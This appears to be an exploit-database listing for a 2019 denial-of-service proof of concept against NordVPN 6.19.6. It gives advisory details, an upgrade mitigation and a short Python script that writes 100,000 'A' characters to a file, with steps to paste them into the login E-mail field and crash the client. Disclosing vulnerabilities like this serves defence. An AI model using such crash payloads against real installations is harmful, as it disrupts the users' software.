header-logo
Suggest Exploit
vendor:
NordVPN
by:
Alejandra Sánchez
7.5
CVSS
HIGH
Denial of Service
119
CWE
Product Name: NordVPN
Affected Version From: 6.19.6
Affected Version To: 6.19.6
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10
2019

NordVPN 6.19.6 – Denial of Service (PoC)

A denial of service vulnerability exists in NordVPN 6.19.6 due to a buffer overflow when copying a large amount of data to the 'E-mail' field. An attacker can exploit this vulnerability by creating a file containing a large amount of data and copying it to the 'E-mail' field, resulting in a denial of service condition.

Mitigation:

Upgrade to the latest version of NordVPN to mitigate this vulnerability.
Source

Exploit-DB raw data:

# -*- coding: utf-8 -*-
# Exploit Title: NordVPN 6.19.6 - Denial of Service (PoC)
# Date: 07/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://nordvpn.com/
# Software Link: https://downloads.nordcdn.com/apps/windows/10/NordVPN/latest/NordVPNSetup.exe
# Version: 6.19.6
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script, it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open NordVPN.exe 
# 3.- Paste clipboard in 'E-mail' field
# 4.- Write '1234' in 'Password' field
# 5.- Clic on button -> Sign In
# 6.- Crashed

buffer = "\x41" * 100000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()

Navigation

Suggest Exploit

Services By CQR